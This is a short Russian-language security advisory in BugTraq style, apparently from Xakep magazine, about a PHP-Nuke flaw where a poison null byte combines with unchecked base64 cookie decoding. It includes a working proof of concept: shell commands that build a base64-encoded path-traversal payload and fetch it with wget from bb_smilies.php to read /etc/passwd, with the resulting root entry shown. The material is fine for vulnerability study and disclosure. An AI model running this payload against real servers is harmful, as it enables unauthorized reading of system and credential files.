BugTraq #4

Xakep, номер #028, стр. 028-010-3


Система: *nix

Источник: http://www.securityfocus.com/templates/archive.pike?list=1&mid=166204

Опасность: получение привилегий администратора

PHP-функции для работы с файлами, а именно fopen(), require(), include(), подвержены ошибке "poison null byte" в силу того, что отбрасывают в имени файла все, что следует за null. Ошибка происходит при отключенной опции magic_quotes_gpc.

PHP-Nuke использует base64 для кодирования информации о пользователе в cookie, причем при декодировании (base64_decode()) не производится проверка на спецсимволы. Это позволяет изменять критерии поиска в SQL-запросах.

Как результат возможно получение доступа к /etc/passwd:

j@spike# /bin/echo -e "1:1:1:1:1:1:1:1:1:../../../../../etc/passwd\000" | uuencode -m f begin-base64 644 f

MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK

j@spike# wget 'http://target/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vL

i4vZXRjL3Bhc3N3ZAAK' -O target.passwd

j@spike# head -n1 target.passwd

root:x:0:0:root:/root:/bin/bash

Назад на стр. 028-010-2  Содержание